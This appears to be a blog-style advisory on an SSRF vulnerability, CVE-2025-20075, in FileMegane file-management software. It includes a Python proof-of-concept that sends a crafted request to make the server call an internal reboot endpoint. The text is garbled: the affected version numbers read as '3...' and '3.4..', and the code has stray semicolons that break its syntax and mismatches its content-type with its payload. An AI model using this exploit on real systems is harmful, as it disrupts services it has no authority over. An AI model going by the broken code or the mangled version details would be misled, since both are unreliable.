CVE-2025-20075 - Server-side Request Forgery (SSRF) Vulnerability Discovered in FileMegane v3... to v3.4..

A recently published Server-side Request Forgery (SSRF) vulnerability, the CVE-2025-20075, exists in FileMegane versions above 3... and prior to 3.4... This newly identified vulnerability could potentially allow malicious users to execute arbitrary backend Web API requests leading to the rebooting of impacted services. In this long read post, we will dive deeper into understanding what the vulnerability entails, exploring a code snippet that showcases an exploit, and examining original references while highlighting the critical exploit details.

Understanding the Vulnerability

Server-side Request Forgery (SSRF) allows attackers to manipulate internal servers to make unauthorized HTTP requests to resources within an internal network. In the case of the CVE-2025-20075, the vulnerability is introduced due to improper request validation. This lack of proper validation enables unauthorized access to the backend Web APIs of FileMegane, a popular file management software, through a specially crafted HTTP request.

Code Snippet

Below is an example of a Python script that exploits the SSRF vulnerability, specifically targeting vulnerable FileMegane versions.

import requests

target_url = "http://<TARGET_IP>/FileMegane/api"; # Replace <TARGET_IP> with the targeted system's IP address
payload = {
  "url": "http://localhost/backend-reboot";, # This causes the backend services to reboot
}

response = requests.post(
  target_url, data=payload, headers={"Content-Type": "application/json"}
)

if response.status_code == 200:
  print("[*] SSRF exploit successful.")
else:
  print("[!] SSRF exploit failed.")

Recommendations

Individuals and organizations using FileMegane versions above 3... should update their software to the latest version(v3.4..) immediately to address the vulnerability. It is essential to maintain an up-to-date system to ensure a more secure environment. Additionally, proper request validation should be implemented to prevent unauthorized access to the backend Web APIs.

Conclusion

The CVE-2025-20075 vulnerability poses a significant risk to users of FileMegane software versions above 3... and prior to 3.4... By exploiting this SSRF vulnerability, attackers can potentially reboot services, causing disruption and potential data loss. To mitigate the risks, it is crucial for users to update their software and stay vigilant about new vulnerabilities and security patches in the future.
